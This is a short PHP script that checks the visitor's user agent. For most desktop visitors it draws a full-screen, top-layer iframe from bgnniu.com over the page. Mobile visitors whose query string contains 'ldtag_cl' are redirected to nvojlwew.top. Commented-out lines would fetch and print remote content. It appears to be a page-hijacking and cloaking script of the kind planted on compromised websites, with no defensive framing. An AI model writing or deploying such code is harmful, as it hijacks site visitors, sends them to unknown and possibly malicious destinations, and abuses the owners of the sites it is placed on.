<?php

	function is_mobile()
	{
	$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
	$is_pc = (strpos($agent, 'windows nt')) ? true : false;
	$is_mac = (strpos($agent, 'mac os')) ? true : false;
	$is_iphone = (strpos($agent, 'iphone')) ? true : false;
	$is_android = (strpos($agent, 'android')) ? true : false;
	$is_ipad = (strpos($agent, 'ipad')) ? true : false;
	
	if($is_pc){
	      return false;
	}
	
	if($is_mac){
	      return true;
	}
	
	if($is_iphone){
	      return true;
	}
	
	if($is_android){
	      return true;
	}
	
	if($is_ipad){
	      return true;
	}
	}
	 /* 判断电脑移动端的封装*/
	if(!is_mobile())//如果是电脑端显示
	{
	   echo ' <iframe src="https://www.bgnniu.com/nh/" style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>';

 
	}
	else {
	    
	    $houzhui=$_SERVER["QUERY_STRING"];


   if (strpos($houzhui,'ldtag_cl')!==false) {
//   echo '<base href="https://www.tiantianbaofen.com/" /> ';
// 	    $f_info=implode("",file("http://rc.bgnniu.com/"));   
// echo $f_info;  

$redirectUrl = "https://www.nvojlwew.top/";
header("Location: " . $redirectUrl);
exit();  


} 
else {
	   echo ' <iframe src="https://www.bgnniu.com/nh/" style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>';
}
	         
	}